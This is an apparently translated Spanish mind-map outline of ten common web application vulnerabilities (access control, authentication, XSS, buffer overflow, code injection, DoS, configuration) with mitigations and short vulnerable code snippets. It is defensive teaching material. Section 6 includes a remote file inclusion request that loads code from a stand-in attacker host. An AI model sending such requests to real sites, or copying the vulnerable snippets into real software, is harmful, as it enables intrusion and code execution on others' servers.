Vulnerabilidades en aplicaciones WEB

Vulnerabilidades en aplicaciones WEB

1. Entradas invalidadas

   • Validadores de tipo de datos disponibles de forma nativa en marcos de aplicaciones web (como Django Validators , Apache Commons Validators, etc.).
   • Conversión de tipos (por ejemplo, Integer.parseInt()en Java, int()en Python) con un estricto manejo de excepciones
   • Verificación de rango de valores mínimo y máximo para parámetros numéricos y fechas, verificación de longitud mínima y máxima para cadenas.
   • Matriz de valores permitidos para pequeños conjuntos de parámetros de cadena (por ejemplo, días de la semana).
   • Expresiones regulares para cualquier otro dato estructurado que cubra toda la cadena de entrada (^...$)y no use comodines de "ningún carácter" (como .o \S)
   • Ejemplo de uso de Java Regex

2. Fallos de control de Acceso

   • Las debilidades del control de acceso son comunes debido a la falta de detección automatizada y la falta de pruebas funcionales efectivas por parte de los desarrolladores de aplicaciones.
   • El impacto técnico es que los atacantes actúan como usuarios o administradores, o usuarios que utilizan funciones privilegiadas, o crean, acceden, actualizan o eliminan todos los registros.
   • Evitar las comprobaciones de control de acceso modificando la URL, el estado interno de la aplicación o la página HTML, o simplemente usando una herramienta de ataque API personalizada.
   • Elevación de privilegios. Actuar como usuario sin iniciar sesión o actuar como administrador cuando inicie sesión como usuario.
   • escenario de ataque
     • La aplicación utiliza datos no verificados en una llamada SQL que accede a información de la cuenta.
       • pstmt.setString(1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( );
         • Un atacante simplemente modifica el parámetro "acct" en el navegador para enviar el número de cuenta que desee. Si no se verifica adecuadamente, el atacante puede acceder a la cuenta de cualquier usuario.
           • http://example.com/app/accountInfo?acct=notmyacct

3. Fallos en la administración de Autentificación y Sesión

   • La prevalencia de la autenticación rota es generalizada debido al diseño y la implementación de la mayoría de los controles de identidad y acceso. La gestión de sesiones es la base de los controles de autenticación y acceso, y está presente en todas las aplicaciones con estado.
   • Los atacantes deben obtener acceso a solo unas pocas cuentas, o solo a una cuenta de administrador para comprometer el sistema. Dependiendo del dominio de la aplicación, esto puede permitir el lavado de dinero, el fraude a la seguridad social y el robo de identidad, o revelar información altamente confidencial protegida legalmente.
   • Permite ataques automatizados como el relleno de credenciales , donde el atacante tiene una lista de nombres de usuario y contraseñas válidos.
   • Permite contraseñas predeterminadas, débiles o conocidas, como "Contraseña1" o "admin / admin".
   • Utiliza procesos de recuperación de credenciales débiles o ineficaces y de olvido de contraseñas, como "respuestas basadas en el conocimiento", que no se pueden proteger.
   • Expone los ID de sesión en la URL (por ejemplo, reescritura de URL).
   • escenario de ataque
     • el relleno de credenciales , el uso de listas de contraseñas conocidas , es un ataque común. Si una aplicación no implementa protecciones automatizadas de relleno de credenciales o amenazas, la aplicación se puede utilizar como un oráculo de contraseña para determinar si las credenciales son válidas.

4. Fallos de Cross Site Scripting (XSS)

   • a consecuencia de un ataque XSS es la misma independientemente de si está almacenada o reflejada ( o basada en DOM). La diferencia está en cómo llega la carga útil al servidor. No se deje engañar pensando que un sitio de "solo lectura" o "software de folletos" no es vulnerable a ataques XSS reflejados graves.
   • Nunca inserte datos que no sean de confianza, excepto en ubicaciones permitidas
   • Codificación HTML antes de insertar datos que no son de confianza en el contenido del elemento HTML
   • Codificación de atributos antes de insertar datos que no son de confianza en atributos comunes de HTML
   • Codificación de URL antes de insertar datos que no son de confianza en valores de parámetros de URL HTML
   • Ejemplo
     • El siguiente segmento de código JSP lee un ID de empleado, eid, de una solicitud HTTP y se lo muestra al usuario.
       • <% String eid = request.getParameter("eid"); %> ... Employee ID: <%= eid %>
         • El código de este ejemplo funciona correctamente si eidsolo contiene texto alfanumérico estándar. Si eidtiene un valor que incluye metacaracteres o código fuente, el navegador web ejecutará el código mientras muestra la respuesta HTTP.

5. Desbordamiento del Búffer

   • los desbordamientos del búfer generalmente provocan bloqueos. Son posibles otros ataques que conducen a la falta de disponibilidad, como poner el programa en un bucle infinito.
     • A menudo se pueden usar para ejecutar código arbitrario, que generalmente está fuera del alcance de la política de seguridad implícita de un programa.
       • cuando la consecuencia es la ejecución de código arbitrario, a menudo se puede utilizar para subvertir cualquier otro servicio de seguridad.
   • Ejemplo
     • El siguiente código de ejemplo muestra un desbordamiento de búfer simple que a menudo es causado por el primer escenario en el que el código se basa en datos externos para controlar su comportamiento. El código usa la función gets () para leer una cantidad arbitraria de datos en un búfer de pila. Debido a que no hay forma de limitar la cantidad de datos leídos por esta función, la seguridad del código depende de que el usuario ingrese siempre menos de BUFSIZE caracteres.
       • ... char buf[BUFSIZE]; gets(buf); ...

6. Inyección de código

   • Estos tipos de vulnerabilidades pueden variar desde muy difíciles de encontrar hasta fáciles de encontrar.
     • Si se encuentran, suelen ser moderadamente difíciles de explotar, según el escenario.
       • Si se explota con éxito, el impacto podría cubrir la pérdida de confidencialidad, pérdida de integridad, pérdida de disponibilidad y / o pérdida de responsabilidad.
   • Ejemplo
     • Si una aplicación pasa un parámetro enviado a través de una solicitud GET a la include()función PHP sin validación de entrada, el atacante puede intentar ejecutar un código diferente al que el desarrollador tenía en mente.
       • La siguiente URL pasa un nombre de página a la include()función. http://testsite.com/index.php?page=contact.php
         • El archivo “evilcode.php” puede contener, por ejemplo, la función phpinfo () que es útil para obtener información sobre la configuración del entorno en el que se ejecuta el servicio web. Un atacante puede pedirle a la aplicación que ejecute su código PHP mediante la siguiente solicitud: http://testsite.com/?page=http://evilsite.com/evilcode.php

7. Fallas en el manejo de errores

   • Se debe documentar una política específica sobre cómo manejar los errores, incluidos los tipos de errores que se deben manejar y, para cada uno, qué información se informará al usuario y qué información se registrará. Todos los desarrolladores deben comprender la política y asegurarse de que su código la siga.
   • En la implementación, asegúrese de que el sitio esté construido para manejar correctamente todos los errores posibles. Cuando ocurren errores, el sitio debe responder con un resultado diseñado específicamente que sea útil para el usuario sin revelar detalles internos innecesarios.
   • Muy pocos sitios tienen capacidades de detección de intrusiones en su aplicación web, pero ciertamente es concebible que una aplicación web pueda rastrear repetidos intentos fallidos y generar alertas.

8. Almacenamiento inseguro

   • Los datos almacenados de forma insegura incluyen, entre otros, los siguientes: Bases de datos SQL; Archivos de registro; Los datos XML almacenan nuestros archivos de manifiesto; Almacenes de datos binarios; Tiendas de galletas; Tarjeta SD; Sincronizado con la nube.
   • La fuga de datos involuntaria incluye, pero no se limita a, vulnerabilidades de: El SO; Frameworks; Entorno del compilador; Nuevo hardware. Dispositivos rooteados o con jailbreak
   • Almacenamiento en caché de URL (tanto solicitud como respuesta); Almacenamiento en caché de pulsaciones de teclado; Copiar / Pegar almacenamiento en caché del búfer; Fondo de la aplicación; Datos intermedios Inicio sesión; Almacenamiento de datos HTML5; Objetos de cookies del navegador; Datos analíticos enviados a terceros.

9. Denegación de servicio

   • los recursos inadecuados, requiere atención si la arquitectura del sistema no se diseñó para satisfacer los desbordamientos de la demanda de tráfico. Este riesgo reduce la dificultad de ejecutar con éxito un ataque DoS y, si no se controla, puede provocar síntomas de DoS sin un ataque real.
   • Una organización debe evitar tomar medidas que puedan convertirla en el objetivo de un ataque DoS, a menos que los beneficios de hacerlo superen los costos potenciales o se hayan implementado controles de mitigación.
   • Asignación de objetos especificada por el usuario DoS
     • Si los usuarios pueden proporcionar, directa o indirectamente, un valor que especifique cuántos objetos crear en el servidor de aplicaciones, y si el servidor no impone un límite superior estricto en ese valor, es posible hacer que el entorno se ejecute. sin memoria disponible. El servidor puede comenzar a asignar la cantidad requerida de objetos especificados, pero si esta es una cantidad extremadamente grande, puede causar serios problemas en el servidor, posiblemente llenando toda su memoria disponible y corrompiendo su desempeño. El siguiente es un ejemplo simple de código vulnerable en Java:
       • String TotalObjects = request.getParameter(“numberofobjects”); int NumOfObjects = Integer.parseInt(TotalObjects); ComplexObject[] anArray = new ComplexObject[NumOfObjects]; // wrong!

10. Fallas en la administración de Configuración

    • Los escáneres automatizados son útiles para detectar configuraciones incorrectas, uso de cuentas o configuraciones predeterminadas, servicios innecesarios, opciones heredadas, etc.
    • Un proceso de refuerzo repetible que agilice y facilite la implementación de otro entorno que esté correctamente bloqueado. Los entornos de desarrollo, control de calidad y producción deben configurarse de forma idéntica, con diferentes credenciales utilizadas en cada entorno. Este proceso debe automatizarse para minimizar el esfuerzo necesario para configurar un nuevo entorno seguro.
    • Una plataforma mínima sin funciones, componentes, documentación ni ejemplos innecesarios. Elimine o no instale funciones y marcos no utilizados.
    • Una arquitectura de aplicación segmentada que proporciona una separación segura y eficaz entre componentes o inquilinos, con segmentación, contenedorización o grupos de seguridad en la nube (ACL).
    • Ejemplo
      • el servidor de aplicaciones incluye aplicaciones de muestra que no se eliminan del servidor de producción. Estas aplicaciones de muestra tienen fallas de seguridad conocidas que los atacantes utilizan para comprometer el servidor. Si una de estas aplicaciones es la consola de administración y las cuentas predeterminadas no se cambiaron, el atacante inicia sesión con las contraseñas predeterminadas y toma el control.

Bilder und Dateien der Mindmap